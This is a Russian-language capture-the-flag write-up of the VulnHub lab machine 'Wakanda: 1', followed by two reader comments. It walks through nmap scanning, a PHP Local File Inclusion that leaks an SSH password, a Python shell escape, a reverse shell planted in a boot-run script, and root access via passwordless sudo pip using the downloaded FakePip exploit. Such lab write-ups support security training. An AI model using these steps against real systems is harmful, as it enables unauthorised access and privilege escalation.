Сегодня мы займемся взломом виртуальных машин с VulnHub — ресурса, предоставляющего образы операционных систем с сервисами, в которых «зашиты» уязвимости. Он создавался, чтобы каждый мог получить практический опыт в области цифровой безопасности и сетевого администрирования. Нужно всего лишь скачать образ виртуалки, правильно настроить сеть и запустить.
 

Подготовка виртуальной машины

Для начала скачаем необходимый софт и сам образ виртуалки. Запускать будем в VirtualBox. Теперь выберем одну из новых виртуальных машин, например Wakanda: 1.

После того как скачали образ и установили VirtualBox, время настраивать сеть. Открываем менеджер сетей хоста и создаем новый адаптер.



Импортируем виртуалку в VirtualBox и идем в ее настройки. Нам нужна вкладка «Сеть». Устанавливаем тип подключения как «Виртуальный адаптер хоста» и указываем недавно созданный виртуальный адаптер. Обращаем внимание на созданный MAC-адрес, так как он нам еще понадобится, чтобы найти его в сети.


Теперь можно запускать. Сделаем это!


 

Поиск машины

После того как мы экспортировали и запустили виртуалку, нам нужно узнать, какой у нее IP-адрес. Для этого на хосте воспользуемся командой $ arp-scan -l на Kali Linux, которая находится в одной сети с Wakanda.


 

Сканирование портов

Как обычно, начнем исследование машины со скана портов. Для этого воспользуемся утилитой Nmap:

$ nmap -p- -sV 192.168.93.128

Видим, что запущен Apache на 80-м порте, SSH на 3333-м и какой-то мусор на 111-м и 56737-м портах.

 

Сайт на PHP

Начнем с сервиса на 80-м порте. Там висит ничем в целом не примечательный сайт без каких-то особенных функций.


Прежде чем фаззить директории, залезем в исходный код страницы. Видим закомментированную ссылку, вероятно на французскую версию сайта.


Попробуем зайти. И правда, сайт теперь на французском языке.


Откроем Burp и попробуем профаззить параметр lang.


И с первого же раза получаем исходный код страницы index.php с помощью уязвимости Local File Inclusion и фильтра Base64 PHP. Раскодируем с помощью команды $ base64 -D или через онлайн-тулзу и увидим в самом начале какой-то пароль. Интересно, от чего же он?


 

Получаем доступ по SSH

Вспоминаем, что на 3333-м порте в машине запущен SSH. Возможно, пароль подойдет к нему. Но какой логин? Пройдемся еще раз по исходникам сайта и увидим, что сайт создал некий mamadou. Пробуем подключиться, используя полученный пароль: $ ssh -lmamadou 192.168.93.128 -p 3333.


 

Первый флаг

Зашли, видим запущенный Python 2. Теперь войдем в Bash с помощью команды

import os; os.system("/bin/bash")

Итак, мы в системе. Посмотрим, что в домашней папке ($ ls), видим файл flag1.txt, выведем его содержимое с помощью $ cat flag1.txt.


 

В поисках второго флага

Для начала узнаем, где находится файл flag2.txt. Для этого выполним $ locate flag2.txt. Как оказалось, второй флаг ждет нас в /home/devops/flag2.txt, но у нас нет прав, чтобы его прочитать, а владелец — пользователь devops из группы developer.


Поищем еще файлы, которые ему принадлежат. Для этого посмотрим на результат команды $ find / -user devops.


Видим, что есть скрытый файл /srv/.antivirus.py с весьма прозаичным содержанием.


Судя по тому, что файл /tmp/test существует, этот скрипт выполняется при загрузке от пользователя devops. Поэтому добавим туда простой реверс-шелл и перезагрузим виртуалку.


Теперь подключимся через $ nc 192.168.93.128 4444 и посмотрим список файлов: $ ls /home/devops. Файл со вторым флагом на месте! 🙂 Выводим его $ cat flag2.txt.


 

Последний рубеж: получаем root(.txt)

Поискав публичные эксплоиты для эскалации привилегий на этой версии ядра, мы ничего не нашли. Придется делать ручками. Для начала сделаем полученную сессию «нормальной» по этой инструкции.

Посмотрим с помощью sudo -l, кто в системе может запускать программы от имени администратора.


Как видим, /usr/bin/pip работает с sudo без пароля, а значит, осталось сделать совсем немного.

Гуглим «pip privileges escalation» и прямо на первой статье видим ссылку на FakePip. Делаем все по инструкции:

$ cd /tmp && wget https://raw.githubusercontent.com/0x00-0x00/FakePip/master/setup.py

Меняем переменную RHOST на наш айпишник.


Запускаем у себя nc -lvvp 443, а на виртуалке $ sudo pip install . --upgrade --force-reinstall.


Теперь у нас есть права администратора, и остается одна команда…

$ locate root.txt | xargs cat

Done!

 

Что мы сейчас сделали?

Мы просканировали порты на виртуальной машине; выяснили, что на 80-м порте запущен Apache с веб-приложением на PHP, а на 3333-м — SSH. Нашли в PHP уязвимость Local File Inclusion и проэксплуатировали ее, получив исходный код страницы, в котором переменной $password был присвоен пароль от SSH пользователя mamadou.

Первый флаг был в домашней папке пользователя. Изменив скрытый файл /srv/.antivirus.py, который принадлежит пользователю devops и исполняется от его имени при загрузке системы, мы получили возможность работать от его имени и нашли второй флаг в /home/devops/flag2.txt. Узнав, что PIP может устанавливать пакеты от имени администратора без пароля sudo, мы повысили привилегии до root с помощью публичного эксплоита и нашли третий флаг в /root/root.txt.

На этом мы закончим с «Wakanda: 1». Другие наши райтапы можешь найти в блоге blog.fbkcs.ru.

3 комментария

  1. Аватар

    Antek

    24.10.2018 в 14:48

    Очень классная статья, особенно после Хабраквеста от Mail.ru. Единственное, предложите ещё какие-то варианты утилит для фаззинга кроме коммерческого Burp.

  2. Аватар

    wobxrnqrbspa

    26.10.2018 в 20:29

    Вектор php://… руками подобран?

Оставить мнение